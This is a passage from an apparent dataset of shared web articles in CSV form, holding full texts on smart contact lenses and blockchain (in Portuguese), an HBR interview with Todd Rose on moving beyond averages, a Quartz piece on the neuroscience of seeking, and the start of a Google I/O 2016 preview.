prototypal OOP. This article was the prototypal ""aha"" moment for me. The following three texts will be interesting reads if you're willing to dive into the academic roots of prototype-based programming: Henry Lieberman of MIT Media Labs compares class-based inheritance with prototype-based delegation and argues that prototype-based delegation is the more flexible of the two concepts. Classes versus Prototypes in Object-Oriented Languages is a proposal to use prototypes instead of classes by the University of Washington's Alan Borning. Lieberman's and Borning's work in the 1980s appears to have influenced the work that David Ungar and Randall Smith did to create the first prototype-based programming language: Self. Self went on to become the basis for the prototype-based system in JavaScript. This paper describes their language and how it omits classes in favor of prototypes. In this excerpt, Aaron Gustafson looks at the limitations of JavaScript and advocates for a solution: progressive enhancement. A headless CMS could solve one or more problems for you, and implementing it is more doable than you may realize. Get our latest articles in your inbox. Sign up for email alerts .",en
1463417770,CONTENT SHARED,-4333056764244640444,881856221521045800,-6874533437743367699,,,,HTML,http://computerworld.com.br/lentes-de-contato-inteligentes-serao-o-wearable-definitivo,Lentes de contato inteligentes serão o wearable definitivo,"Lentes de contato inteligentes soam como uma história de ficção científica. Mas já há uma espécie de competição tecnológica para criar as lentes do futuro - aquelas que te darão a visão de um super-humano e oferecerá câmeras, telas, sensores médicos e muito mais. E melhor, tais produtos já estão sendo desenvolvidos. Soa um tanto irreal, é claro. Mas parece que os seus olhos são o lugar perfeito para adicionar tecnologia. Lentes de contato inteligentes são como implantes, mas elas não exigem cirurgia e podem ser removidas e inseridas pelo usuário a qualquer momento. Além disso, elas estão expostas tanto a luz quanto ao movimento mecânico de piscar, logo nada impediria de que elas também armazenassem energia. O que você precisa saber é que lentes de contato inteligentes serão inevitáveis por todas essas razões. E aqui reunimos algumas das coisas que você vai ver e muito antes do que você espera. Verily: anote, o Google quer ser dono da sua íris A companhia que até então tem sido a mais agressiva ou vanguardista sobre a ideia de levar eletrônicos às lentes de contato é a Verily , que integra a divisão de Ciências da Vida da Alphabet, holding criada para abraçar todos os segmentos de pesquisa e negócios do Google, incluindo a divisão de buscas da gigante de tecnologia. A última lente de contato inteligente da Verily é injetada dentro do olho, de acordo com um registro de patente recentemente publicado . Então soa menos como uma lente de contato e mais como uma cirurgia. O processo é de dar um certo frio na espinha: suas lentes naturais são removidas do seu globo ocular. Um fluido então é injetado no olho para depois se solidificar. Dentro dessa nova e artificial lente ficam armazenados bateria, sensores, radio e outros componentes eletrônicos. As lentes artificiais assumiriam o trabalho de focar luz dentro da retina, melhorar a visão em várias formas sem óculos, mas de uma forma flexível e interativa. A Verily é conduzida por Andrew Jason Conrad, que também é o inventor das lentes. A divisão também trabalha com a fabricante de medicamentos suíça Novartis para desenvolver e vender lentes de contato inteligentes para ajudar pessoas com diabetes acompanharem seus níveis de glicose no sangue. A Verily também recebeu um pedido de patente para uma lente de contato alimentada por energia solar. Supervisão Uma das aplicações mais legais para lentes de contato é a melhoria da visão sem óculos. Pesquisadores da Universidade de Winsconsin, Madison, inventaram uma lente de contato inteligente que foca instantaneamente a visão. O produto se encontra em fase de desenvolvimento para uma companhia israelense chamada Deep Optics. A ideia é baseada na função ocular do peixe nariz de elefante. A lente usa circuitos eletrônicos e sensores de luz que são alimentados por uma célula solar, todas construídas dentro da própria lente de contato. Quando os sensores determinam que o olho precisa de foco, o chip envia um comando para uma pequena corrente elétrica, que muda a distância focal da lente em uma fração de segundo. A lente foi projetada para tratar hipermetropia, que afeta hoje cerca de 1 bilhão de pessoas. Os pesquisadores dizem que a tecnologia está a cinco anos de ser concretizada. Cientistas da Universidade de Michigan estão desenvolvendo lentes de contato que possam dar a soldados e outras pessoas a habilidade de ver no escuro usando imagens térmicas. A tecnologia usa grafeno, uma única camada de átomos de carbono, para pegar todo o espectro de luz, incluindo luz ultravioleta. O grafeno foi integrado com sistemas de silício microeletromecânicos (MEMS). Como você deve imaginar, há militares americanos financiando o projeto. O Google Glass sem Google Glass A habilidade para ver conteúdos em realidade aumentada e mista ou tirar fotos e vídeos com o Google Glass foi uma ideia brilhante. Mas todos criticaram o visual nerd e nada prático dos óculos do Google. E se todas as funcionalidades fossem encolhidas em uma lente de contato, hã? A Sony aplicou um pedido de patente para lentes de contato inteligentes que conseguem gravar vídeos. Você as controlaria ao piscar seus olhos. De acordo com a patente da Sony, sensores nas lentes podem dizer a diferença entre piscadas voluntárias das involuntárias. Essa, inclusive, era uma habilidade do protótipo do Google Glass, que poderia tirar uma foto quando você piscasse. Quando a tecnologia detectar uma piscada proposital, ela então gravará um vídeo. As lentes de contato da Sony seriam alimentadas por sensores piezoelétricos que convertem o movimento do olho em energia elétrica. Envolveria ainda versões extremamente pequenas de todas as partes digitais de uma câmera moderna - lentes de foco automático, uma CPU, uma antena e até mesmo armazenamento na lente. A Samsung também foi concedida uma patente para tecnologia que funciona como uma versão pequena de uma lente de contato semelhante ao Google Glass. Conta com uma tela em miniatura que projeta vídeo diretamente nos seus olhos. A experiência oferecia uma experiência de realidade mista, como o óculos HoloLens da Microsoft. Como as lentes da Sony, ela teria uma câmera interna e seria controlada por suas piscadelas. Mas diferente da tecnologia da Sony, a invenção da Samsung armazenaria o conteúdo e o processaria em um smartphone. Lentes de contato para manter a saúde em dia Outras companhias estão trabalhando em lentes de contato inteligentes que são desenhadas para ajudar várias condições médicas. Pesquisadores do Centro Médico da Universidade Columbia estão trabalhando em lentes de contato inteligente que podem dizer se o glaucoma de um paciente está progredindo especialmente rápido. Ao ter um paciente usando a lente por apenas 24 horas e constantemente monitorando sua curvatura durante o período, médicos teriam um quadro mais preciso sobre a progressão da doença. Uma startup chamada Medella está trabalhando em uma lente de contato que mede os níveis de glicose, que usa sensores e chips pequenos em lentes para monitorar os níveis de açúcar e depois transmitir os dados para o smartphone do usuário via Bluetooth, um conceito similar ao projeto da Verily. Lentes de contato com sensores médicos serão provavelmente as primeiras a chegarem no mercado, possivelmente nos próximos dois anos. Nós também podemos ficar ansiosos por lentes de contato que funcionem em conjunto com outros wearables, incluindo aí, e especialmente, uma nova categoria de vestíveis - os hearable, dispositivos audíveis que nos darão o máximo dos benefícios de smartwatches e smartphones, mas sem o peso de um gadget eletrônico visível. E tudo isso chegará antes que você pensa. Não pisque, senão você perderá a revolução das lentes de contato.",pt
1463423008,CONTENT SHARED,-5043294260151549400,-7496361692498935601,-3318702250262047031,,,,HTML,http://computerworld.com.br/blockchain-o-que-e-e-como-funciona,Blockchain: o que é e como funciona,"No âmbito da moeda virtual Bitcoin, um blockchain é a estrutura de dados que representa uma entrada de contabilidade financeira ou um registro de uma transação. Cada transação é digitalmente assinada com o objetivo de garantir sua autenticidade e garantir que ninguém a adultere, de forma que o próprio registro e as transações existentes dentro dele sejam considerados de alta integridade. A verdadeira mágica vem, contudo, através do fato dessas entradas digitais de registro serem distribuídas entre uma implantação ou infraestrutura. Esses nós e camadas adicionais na infraestrutura servem ao propósito de fornecer um consenso sobre o estado de uma transação a qualquer momento, pois todos esses nós e camadas têm cópias dos registros autenticados distribuídos entre eles. Quando uma nova transação ou uma correção de transação existente é recebida, geralmente grande parte dos nós dentro de uma implementação de blockchain deve executar alguns algoritmos e, essencialmente, avaliar e verificar o histórico do bloco do blockchain individual que é proposto e, assim, chegar ao consenso de que o histórico e a assinatura são válidos, para depois permitir que a nova transação seja aceita no registro e um novo bloco seja adicionado à cadeia de transações. Caso a maior parte dos nós não reconheça a adição ou modificação da entrada de registro, tal entrada é negada e não é adicionada à cadeia. Esse modelo de consenso distribuído é o que permite que o blockchain funcione como um registro distribuído sem a necessidade de que uma autoridade central diga quais transações são válidas e (talvez mais importante) quais não são. De fato, o blockchain pode ser configurado para trabalhar de várias formas, utilizando mecanismos diferentes com o objetivo de alcançar um consenso sobre transações e, em particular, definir participantes conhecidos na cadeia e excluir todos os outros. O maior exemplo da utilização de blockchain, esse na área do Bitcoin, emprega um registro público anônimo no qual todos podem participar. Para utilizações mais privadas do blockchain entre um número menor de atuantes, muitas organizações estão empregando blockchains para controlar quem participa da transação. A falta de exigência de uma autoridade central o torna um registro ideal e uma solução de determinação ideal para relacionamentos de afiliados que são geralmente feitos em uma condição de 50/50 ou igualitária sem a provisão de um árbitro ou gerente. Realmente, fazer com que computadores verifiquem transações e as definam elimina a necessidade de câmaras de compensação e outros agentes de compensação, fornecendo a exclusão do intermédio na organização de negócios e geralmente reduzindo custos, melhorando a velocidade com a qual transações podem ser feitas, verificadas, definidas e registradas. As assinaturas e verificações digitais dificultam visualizar um cenário onde um atuante mal intencionado possa causar uma fraude e introduz problemas que são caros de remover e sanar. A integridade criptográfica de toda a transação pendente, como também o exame de múltiplos nós da arquitetura do blockchain, protege contra ameaças e utilização mal intencionadas da tecnologia. (Dito isso, é importante notar que essa proteção de segurança nunca foi amplamente testada no mercado. Embora forte em uma base teórica, restam dúvidas sobre o quão bem as proteções funcionarão na realidade da economia digital que vivemos hoje). Em resumo, o conceito de blockchain funciona muito bem para o acompanhamento de como os recursos se movem através de uma cadeia de suprimento, através de certos fornecedores e fábricas até às linhas de transmissão e transporte para chegarem até suas localizações finais. Obstáculos para o blockchain O maior problema com a tecnologia blockchain, atualmente, é que ela é complexa de aplicar, principalmente porque, como é típico em projetos de código aberto, existem vários projetos, cada um com suas próprias equipes e ideais. Casar toda a funcionalidade em uma aplicação prática é difícil. ""A única coisa que me faz parar e pensar sobre o Blockchain é a comunidade que desenvolve o código"", conta Matt Reynolds, especialista de desenvolvimento de aplicativos com blockchain. ""O Bitcoin é de código aberto, mas a equipe que o administra não se comporta da forma que você idealmente gostaria que mantenedores FOSS trabalhassem. Eles se comportam mais como uma equipe de software que 'não responde a ninguém', e isso não é bom para os que utilizam a implementação Blockchain do Bitcoin em seus projetos próprios"". O que é o Hyperledger? O Hyperledger é um projeto que tenta unificar todas as abordagens de código aberto do blockchain que existem atualmente. A meta? De acordo com a página oficial do Hyperledger, ""o projeto está desenvolvendo um framework de blockchain de propósito geral que possa ser utilizado em vários setores da indústria, dos serviços financeiros, varejo, fabricação e mais"". O que é significativo sobre esse projeto, em comparação com os inúmeros e diversos projetos de código aberto que estão espalhados pela internet, é a participação da indústria e de grandes nomes por detrás dele. De acordo com o projeto, os membros fundadores da iniciativa incluem ABN AMRO, Accenture, ANZ Bank, Blockchain, BNY Mellon, Calastone, Cisco, CLS, CME Group, ConsenSys, Credits, The Depository Trust & Clearing Corporation (DTCC), Deutsche Börse Group, Digital Asset Holdings, Fujitsu Limited, Guardtime, Hitachi, IBM, Intel, IntellectEU, J.P. Morgan, NEC, NTT DATA, R3, Red Hat, State Street, SWIFT, Symbiont, VMware e Wells Fargo. As metas atuais do Hyperledger são as de combinar projetos em aplicações práticas de blockchain: o Rippled, um registrador distribuído publicamente escrito em C++ que lida com pagamentos entre diferentes moedas utilizando livros de ordem da Open Blockchain, da IBM, uma estrutura de baixo nível que implementa contratos inteligentes, recursos digitais, repositórios de registro, redes orientadas a consenso e a segurança criptográfica do Hyperledger, da Digital Asset, que é um servidor de blockchain pronto para implantação com uma API de cliente atualmente disponível para uso por parte de empresas de serviços financeiros. Ele funciona ao utilizar um registro de transação apenas de adição que é projetado para ser replicado entre múltiplas organizações separadas, todas sem um nexo de controle. (A empresa matriz, a Digital Asset Holdings, emprestou o nome registrado Hyperledger para o projeto de código aberto como parte de sua contribuição). A gigante industrial da tecnologia IBM está contribuindo com centenas de milhares de linhas de código para o projeto Hyperledger enquanto deixa claro que acredita que a tecnologia aberta é a melhor forma de criar uma implementação verdadeiramente aplicável do blockchain para o mercado empresarial e de negócios atual. De fato, a IBM vê a tecnologia de blockchain e de registro como uma forma de deixar a internet mais ciente do comércio. ""Como uma iniciativa aberta e vasta, que inclui muitos especialistas diferentes da área do blockchain, o projeto Hyperledger avançará os padrões de blockchain abertos para utilização em muitas indústrias"", conta Jerry Cuomo, vice-presidente de blockchain da IBM. ""Ao focar em uma plataforma aberta, não existe limite para os tipos de aplicações e frameworks que um dia serão criados com base nela"". Claro que existem limites práticos para isso. ""O problema com aplicações práticas do Blockchain é que é bem complexo de encontrar projetos que sejam genuinamente adequados"", conta Reynolds. ""Existe muito do pensamento 'Tenho um martelo, então isso precisa ser um prego' com relação ao Blockchain. Ele é mais adequado para cenários onde os próprios dados são públicos, mas que você não quer precisar fornecer confiança explícita para entidades a fim de que atualizem os dados. Aplicações públicas ou regulatórias tendem a se adequar bem a isso"". Dito isso, claramente existe um local para criação de um alicerce para comércio online distribuído baseado em registros na internet. Em uma nota na The Block Chain Conference, realizada em São Francisco, em fevereiro, o diretor Global de Ofertas de Blockchain da IBM, John Wolpert, disse que ""precisamos evoluir a internet para deixá-la economicamente ciente, e essa internet não vai ser uma aplicação, ela será a estrutura"". Ele vê o Hyperledger como o projeto que está explorando a melhor versão dessas tecnologias, para construir essa estrutura.",pt
1463423716,CONTENT SHARED,-1480913447590268358,5598537709124463353,8936014430146528121,,,,HTML,https://hbr.org/ideacast/2016/04/smart-managers-dont-compare-people-to-the-average,"Smart Managers Don't Compare People to the ""Average""","Todd Rose, the Director of the Mind, Brain, & Education program at the Harvard Graduate School of Education and the author of The End of Average: How to Succeed in a World That Values Sameness, explains why we should stop using averages to understand individuals. Download this podcast NICOLE TORRES: Welcome to the HBR IdeaCast from Harvard Business Review. I'm Nicole Torres. Our guest today is Todd Rose. Todd is the Director of the Mind, Brain, and Education Program at Harvard's Graduate School of Education. He focuses on how to promote the principles of individuality and the practice of personalisation in the workplace and education and in society. He's here to talk to us about his new book called THE END OF AVERAGE: How We Succeed in a World that Values Sameness. Todd, thanks for joining us. TODD ROSE: Yeah. Thanks for having me. NICOLE TORRES: So our society seems to measure everything from behavior to performance to body size in terms of the average. So we use GPAs and standardized test to tell us how smart a student is. And employers use performance reviews to evaluate how well an employee is doing. And I think everyone is used to measuring skills and achievement against some norm. But you say that this way of understanding people is scientifically wrong. So what exactly is wrong with averages? TODD ROSE: So averages are really good when your goal is to understand the whole group. And for most of our time as a society, particularly since the Industrial Revolution, we really focused on the group and kind of just slotting people into their proper stations in life. But, nowadays, we're shifting over to a deeper understanding of individuals, whether it's in medicine or personalized learning or better ways of hiring and assessing performance. It's that moment when you go from caring about the group to understanding individuals that averages actually break down. And they're actually really bad ways of understanding individuals. NICOLE TORRES: Yeah. So before we get into why we need to stop thinking in terms of averages, can you tell us a little bit about where the original idea came from, why we started thinking in terms of groups in the beginning? And why we embrace the practice of judging people in terms of what's normal? TODD ROSE: So when I started writing the book, I was actually interesting that exact question. The idea of the average person and comparing ourselves to that is so ubiquitous in society. It kind of just feels it's just always been true. But it turns out this idea of this average man- and they called it man at the time- was invented by one person, a guy named Adolphe Quetelet in the early 1800s in Belgium. He was an astronomer. And in astronomy, you actually use averages quite a bit to estimate, say the speed of Saturn. He would take a bunch of observations and it turns out if you average them together, that tends to give you a better measurement. So he was living through a time when we got the first census data. We were collecting lots of information about people, but no one knew what to do with that, this jumbled mess of data. And he had this insight that would if you can apply the method of averages that we used in astronomy to understand people. So he does that, but what he carries over with it is a sort of moral judgment, I don't know what it means. So on the one hand, you can always calculate an average. But he thought for sure what it meant was that when you calculated say, the average size of a person's body in Belgium, that that average size was true. That it was the real thing that he said had been divinely intended and everything else was just error around this average. So the average man becomes real and we all become just a cheap approximation of it. It was really weird even at the time. So his contemporaries thought he was a little bit crazy, like we're obviously not an average person. But it was so valuable for bureaucracies to manage whole populations for public health, for- we invented insurance off of it. So there were lots of practical benefits to managing society they came with thinking in terms of averages. And you know what? Those were real benefits. I think that we've all benefit from it. But it seeped into the way we started to think about ourselves as people. So we've come to see ourselves either on average, like how close we can approximate it, or how far we can get above it. NICOLE TORRES: Right. So the idea of being better than average or worse than average. And this is problematic. TODD ROSE: Right. NICOLE TORRES: So what has changed exactly that makes using averages to understand people no longer useful? Why are we suddenly more focused on the individual? TODD ROSE: Of course it was always wrong, scientifically, but the value that it had at the societal level, when we had an industrial economy, where basically through a guy named Frederick Taylor, we had basically standardized almost the entire workplace, and we've kind of deskilled the jobs as best we could. And you just wanted a standardized worker to plug into the system. And off of that approach, we built education systems that were meant to create standardized outputs for the economy. At no point in that process did we care to know about individuals. Frederick Taylor, the father of scientific management, flat out said in the past man was first, now the system must be first. So it was an explicit choice to focus on efficiency of the system. But nowadays, if you think about the standard jobs, they're gone. Right? NICOLE TORRES: Right. TODD ROSE: We're a knowledge economy. We're a creativity economy. We need innovation from all aspect of these different sectors. And so we're increasingly focused on getting the most out of every individual. And that's true in the workplace. It's also true in education where there's been a rapid shift toward personalization and development of talent rather than just batch processing and sorting. So in that environment, in our modern society, where we all expect to have a better focus on individuals, this average and ranking approach breaks down miserably. NICOLE TORRES: Yeah. So I want to talk about when evaluating someone based on averages actually results in bad outcomes. And your book mentions a few big name companies that discovered how doing this, this approach, wasn't actually useful for building teams and understanding their employees. So you talked about how Google started to rethink its talent recruitment, for example. And you talk about how Deloitte became skeptical of performance rankings, and how Microsoft eventually abandoned its stack ranking system. So what happened in each of these cases and what did these companies find out? TODD ROSE: So ultimately, what they found was when you think in terms of averages, when you collapse all the complexities of being a person, or thinking about talent, into one dimensional terms- so when you think of averages you see this kind of bell curve, most people are in the middle, and then there's a few exceptional people up top and some of the people that are dragging down the curve on the bottom. So within an average based system, that one dimensional view it is how you think about people. And it has to be true for averages to work. But what we found was that when you start looking at talent and performance, it is always, always multidimensional. And that what we call it as jagged, that people are good at some things and not so good others. So the problem is as soon as you try to reduce talent to a single score, you actually lose the essence of what you're trying to measure. So in the case of performance reviews, what Deloitte found was that the problem is when you try to give someone a number, one to five, you're trying to describe what they've done into one single number which doesn't really exist. And so you don't understand what their true performance really is. Now I will say, this is what everyone has found. This is what Google found when they tried to use one dimensional rankings like SAT scores and grades to hire. They were just missing out on all kinds of talent. And what I think is important here is these are companies, these aren't small upstart companies, right? NICOLE TORRES: Right. TODD ROSE: These are giants who, actually if you think about it, really win if we keep the system as it is. Google can out pay almost anybody for the best talent. So why would they suddenly abandon one dimensional ways of hiring? NICOLE TORRES: Right. Why would they? TODD ROSE: Because it wasn't working. At the end of the day, they're obsessed with trying to understand not only, did the person we hire turn out to be as good as we thought? But also following the people they don't hire, and did they turn out to be better than they thought they would? And so there was a gentleman name Todd Carlisle who started this initiative at Google. And they did this massive study of like a billion data points on trying to understand what really predicted success at Google. And they had their traditional metrics. They thought GPA, SAT, and the prestige of your alma mater. And those turned out really not to predict much at all. I think grades predicted for the first couple years and then they don't. And instead, what they found there were a collection of predictors, and there was no one predictor that mattered for every job, so what they ended up doing is a much more customized view of- so if it's about being a programmer, what are the things that predict, at Google, for being a good programmer? And so at the end of the day, they're just getting better talent than they would have otherwise. And with Deloitte, imagine how much time we spend reviewing each other at work. And it better payoff, right? And what I think is really great about Deloitte's done is it's one thing to say what doesn't work. It's another thing to start going in a direction of something that's better. And they've really put a lot of effort into thinking about what's the alternative? And as it stands now, they've been working on something that replaces one dimensional rankings with like four basic questions that every manager of every project is asked about the employees. And then you get this really interesting, contextualized picture over time of say, for example, how well you're performing under different projects with different teams. So that rather than just saying, you're a three, whatever that means, I can really understand, look with this kind of manager on this kind of project with this kind of team you really thrive. So rather than trying to rank you, we're going to find the place in which we can get the most of your talent. NICOLE TORRES: So those two things, understanding that talent is jagged and that context is important, is two of your three principles of individuality, which I do want to get to, but the big question I had when I started your book was how do we evaluate people without using averages? So wouldn't it too messy or too unmanageable if teachers, if managers, had to focus on the individual every time instead of where this individual fits in the distribution? How do you measure progress without some benchmark or baseline to compare things to? TODD ROSE: Sure. So I think there's two parts that. One is, of course, you want some benchmark to compare to, right? Actually, it turns out comparing them to other people isn't necessarily the best way to do things. There is a time for that, obviously. At some point you have to hire an employee and that means hiring this employee instead of these other potential employees. So it's not that you can't ever compare, it's that whenever you collapse to very narrow, one dimensional metrics that basically benchmark against average, it will mask the things you actually are trying to understand. So what we focus on is knowing what are the multiple dimensions that you really need to be measuring at the same time. And then, as you already mentioned, the context aspect which is it doesn't work to say here's some generic dimensions that are predictive everywhere. It's just not like that. And so for a company, who cares if SAT predicts something on average in the population, right? If it's not predictive at your company, it's a useful thing to apply. And so really just focusing on more dimensions, but without going crazy, without getting too crazy, the dimensions that matter, the minimum set, and taking context into account. It's not that you're not going to compare people sometimes, it's just that you're going to compare them on the right kinds of things. NICOLE TORRES: Right. And is there a point where it does get too messy? You know, because we do have a tendency to use a one dimensional scale to think about complex human traits because that's easy and that's efficient, and it's easy to wrap our heads around. But how do we decide where the cutoff point is? How many actual dimensions matter for something verses are irrelevant for the thing we're trying to measure? TODD ROSE: So that is now the holy grail of everything we look for now in terms of going down this path of in HR and other things. I'll give you a parallel here which is when the Air Force is designing things, like for say a cockpit or a flight suit, they keep a database of 147, I believe, dimensions of body size. If you had to keep track of all those every time you wanted to like design a cockpit, that would just overwhelming, right? NICOLE TORRES: Right. TODD ROSE: Except for it turns out, you want to design a cockpit, it only takes 10 dimensions, but you've got to know which dimension those are. And if you design a flight suit, it's different. And so what we're looking at now is to say, OK, there's lots of dimensions, you could look at but there's a diminishing return pretty quickly. And so there's this balance between- we know for sure it's never just one dimensional. So if you're using one dimensional metrics, it's quite certain that you're actually failing at finding talent. But in terms of looking in your context and saying, what are those critical dimensions? And usually, the truth is it ends up clustering out a handful of them. But there's no getting around the fact that HR folks and talent people actually have to figure out what the dimensions are the matter most for their company. NICOLE TORRES: And you had mentioned already the second principle of individuality that you talk about in your book, which is the traits are a myth and we need to focus on context. And the example you give, that you've touched on already, is that this happens with job descriptions. We call for key qualifications and skills, but then we don't focus specifically on the context of the job. So what is wrong with this? And what would be a way to fix this kind of problem? TODD ROSE: So I'll step back and say the trait we're missing seems provocative, because that's what we talk about, except for in the sciences, this is exactly what we find. So if you take personality, for example, we often think oh, I'm an extrovert. Well that's nice to say, and personally I would think that I'm an extrovert. It feels like intuitively true. But when we actually take in context, seriously, what we found is first of all, when we try to use these traits, they are terrible at predicting behavior, like really bad at predicting the behaviors that they should predict. And so people always said, well human beings are messy. Well that's a very good answer, right? We could be a little better than just we're messy. And so there's a scientist named Yuichi Shoda out of University of Washington who actually figured out the answer which was we are really stable in our behaviors and personality and performance in the way that it changes in different contexts. So for example, I am extroverted around people I know really well, but I'm pretty introverted if it's people I don't know. So it's what we call if-then signatures. If this in the context, then this is the kind of behavior to expect. And it turns out when you think of talent and behavior and personality from the if-then approach, it's actually really predictive of how someone will perform or behave. So when you shift that over time thinking about how you hire people, if we say look, here's the job description, must be a good communicator. Well there's no such thing as that. And what it means to be good communicator is very, very different if you're a customer service representative or you're an accountant. And so what's funny- and this seems so unbelievably intuitive, but we haven't done it that much- is when you look at people like Lou Adler, The Lou Adler group who pioneered what's called performance based hiring, their whole secret is don't use these generic job profiles, define the contextualized performance that you're looking for and then find people that actually have those kind of performances. And they crush it. I mean they are so much better than the traditional approach to hiring. But of course, if I say you must have 10 years of experience, why? Where is suddenly magically 10 years of experience means you're going to be good at the job? So really focusing on the contextualized performance first, and then finding people whose performance profiles fit that. NICOLE TORRES: Do companies that do that, are they proven to be more successful than companies that don't? TODD ROSE: Yeah. So I was really surprised, frankly, at the success rate of these kind of approaches. So my view is you would think when there's money to be made that people would immediately shift over to these approaches, but The Lou Adler Group has done a great job and they've got plenty of good evidence showing, and validation studies showing, how much more effective they are. And they've worked with thousands and thousands of companies and hiring managers. So then, for me, I thought well, why isn't this more widely adopted? And I think there's two big barriers to it. One is just a mindset. If you continue to rely on this way of thinking about people, it's hard to see the value of performance based hiring. But the second thing is most of our HR infrastructure, and the technology we've developed, reinforce this old way of thinking. So I think where you're going to see the biggest breakthroughs are in start ups and stuff like that, where they are free from the legacy of this old way of thinking and they can use new technologies to focus contextualized performance. NICOLE TORRES: So I do want to talk about the third principle, which focuses on pathways. And I think the title of the chapter was ""How We All Walk the Road Less Traveled."" And you took an unusual and, certainly, not average path to end up where you are today. I was wondering if your background factored into how you thought about this, how people's career trajectories are different and that there's a problem with trying to standardize them? TODD ROSE: Yeah, for sure. I mean I think most scientists or most professionals- the thing you end up doing for your career, usually a mix of intellectual curiosity and then some kind of personal motivation. So I think for me, obviously my background is having dropped out of high school and then being successful, working my way back through college while I was married and working full time- NICOLE TORRES: With two kids. TODD ROSE: With two kids, and being on welfare, and going to Harvard for my doctorate, and then becoming a faculty member. The way that I was successful was very, very different than- whether it was on the theory side when I was taking psychology class about how learning and behaviors are supposed to happen, it did not seem to map to how I would be successful at all. But also we give this generic this is how you should progress through school and if you're not on that path, then you're behind. And when you get into a career, there's this normal trajectory, supposedly. And we do this all the time with succession planning. And we're like OK, well if you're not at this point, then you must not be great. And frankly, I think what we've ended up doing is, first of all we know now from if you just career pathways, this idea that there's a career path is just nonsense. If we go back to Deloitte, they have a whole approach on the lattice structure of careers realizing that there's multiple pathways, always, to even the highest the positions in the company. And we've seen this when we study careers of scientists. And this is a basic principle that there's always more than one path to an outcome. But if that's true, I think what we've done is we've limited talent pools. And in particular, I think for example, in corporate careers, it's really hard to have a child. And if you're not keeping up with this normal pathway, then you're not getting the kind of promotions because we're assuming only the people that are keeping up are worthy of promotion. So I think that back in the day when we had a standardized economy, where there were only a certain number of good jobs and everyone gets slotted to where they're supposed to be, maybe you could put up with the failures of this kind of approach, maybe the trade offs were even worth it. But right now, they're just not, where we're starved for talent. It's crazy that we'll spend so much time trying to overpay the best people, but not invest time in discovering the hidden talents all over the place that were there for the taking. NICOLE TORRES: Because they don't fit some model. TODD ROSE: Right. A model that's not actually true to begin with. NICOLE TORRES: Right. So because of how deeply ingrained this idea is, our reliance on averages, do you think it's possible for us to leave it behind? Who needs to be convinced for things to actually change? TODD ROSE: So that's a great question. And off of this book, I've also started a nonprofit called The Center for Individual Opportunity and we have been kind of quiet right now until now we're starting our public phase, where we're actually launching a very large social movement campaign. Because our bet is in a democracy and in a market based economy, public demand wins, ultimately. And if you don't change the public mindset, it doesn't matter what kind of solutions you build. So our bet is to take these ideas and focus on how we think about ourselves as individuals, like how do we as a people think about ourselves and then extend that to what does it mean for how we create our institutions of opportunity? So our first wave which will happen later this year, is going to be just broad scale really going after the general public, and frankly try to make average a four letter word. NICOLE TORRES: And when do you move into companies? So how can companies start adopting these principles of individuality? TODD ROSE: So what we've focused on in company work is developing some proof points, which we've got some things going on that we haven't been public about yet. But also shining a spotlight on things in which the companies have been able to win on these ideas. In the book, I mentioned some, and we're continuing to create more spotlights on others, and showing the language for it and helping people have models to see. I talked about Costco or Morningstar. It's not that you want your company just to be exactly like that, but if you can see enough examples and start to understand what aspects of those success stories work for your company. So we think basically there's two things. One is you've got to change the public mindset. And then you've got to put enough models in people's hands to show off the power of the new idea. NICOLE TORRES: Well, great. Thank you. I think that's about all the time we have today. Todd, thanks so much for joining us. TODD ROSE: Thank you. NICOLE TORRES: That was Todd Rose and his book is called The End of Average. For more, go to hbr.org.",en
1463433384,CONTENT SHARED,-8030181764663752939,-1032019229384696495,6916225349181914646,,,,HTML,http://qz.com/684940/neuroscience-confirms-that-to-be-truly-happy-you-will-always-need-something-more/,"Neuroscience confirms that to be truly happy, you will always need something more","What's the sign of a life well lived? If you were to judge by LinkedIn resumes alone, you might be impressed by prestigious job titles and accolades. But in person, the importance of these formal achievements quickly fades away. Regardless of career success, there can be something very dispiriting, almost lifeless, about someone who moves without strife through the ranks of their law firm. Nobody's deepest yearning is to be a decently-salaried professional whose only goal is to get a table at a trendy restaurant. Whether we're striving for a new job, more meaningful relationships, or personal enlightenment, we need to actively want something more in order to live well. In fact, neuroscience shows that the act of seeking itself, rather than the goals we realize, is key to satisfaction. Neuroscientist Jaak Panskepp argues that of seven core instincts in the human brain (anger, fear, panic-grief, maternal care, pleasure/lust, play, and seeking), seeking is the most important. All mammals have this seeking system, says Panskepp, wherein dopamine, a neurotransmitter linked to reward and pleasure, is also involved in coordinating planning activities. This means animals are rewarded for exploring their surroundings and seeking new information for survival. It can also explain why, if rats are given access to a lever that causes them to receive an electric shock, they will repeatedly electrocute themselves . Panskepp notes in his book, Affective Neuroscience , that the rats do not seem to find electrocution pleasurable . ""Self-stimulating animals look excessively excited, even crazed, when they worked for this kind of stimulation,"" he writes. Instead of being driven by any reward, he argues, the rats were motivated by the need to seek itself. The human desire to seek can help make sense of studies showing that achieving major goals, or even winning the lottery, doesn't cause long-term changes in happiness . But our drive to look ahead needn't cause a permanent state of dissatisfaction, as seeking is itself a fulfilling activity. Evan Thompson, a philosophy professor at the University of British Columbia, says that the entire field of philosophy can be seen as an expression of this seeking impulse. Rather than coming up with a philosophical answer and then resting, content with the solution, Thompson says many philosophers would say the quest is an end in itself. The same is true, he points out, for the arts and sciences. ""If you're an artist there are always new modes of expression, new things to create and communicate. The world isn't fixed, it's always changing, so that means you have to create anew in light of the changes,"" he says. ""I don't think any good scientist thinks one day science will come to an end. Science is about questioning, new ways of looking at things, new devices. That's entirely open-ended."" The innate human desire to seek means that we can never truly feel that every desire and wish has been met. There will never be an end to the to-do list, future goals and plans, the things we want to achieve and see. But the fact that we don't have everything we want is exactly what makes life so fulfilling.",en
1463437078,CONTENT SHARED,2841458704671711663,-1443636648652872475,-2256095188093371416,,,,HTML,http://www.theverge.com/2016/5/16/11676324/google-io-conference-2016-preview-android-n-cardboard-keynote,8 things to expect from Google's biggest event of the year,"Google is about to show us its future. Every year at its Google I/O conference, the company's top names get on stage to discuss what's coming next for their biggest projects: Android and Chrome, watches and TVs, VR and AR, cars and balloons, and so on. The same will certainly be true this year. But looking over all of the leaks and rumors that have come out over the past few months, something stands out to me as being a bit different this time around - we don't know all of the nitty gritty details about what's to come. We really may be in for some surprises. That's not to say we don't know anything. There are some big secrets that seem to have leaked out - especially in regard to VR. And generally, we have a pretty good idea of what kinds of announcements Google will focus on. So for those of you wondering what we're expecting to hear about this week, read on below. The Verge will be live from I/O when it kicks off on Wednesday. Follow along then for all the news. Android N: of course we're going to hear about Android. Google switched things up this year by debuting Android N early , so it may not have as much to talk about on stage at I/O. We already know that it's getting split-screen 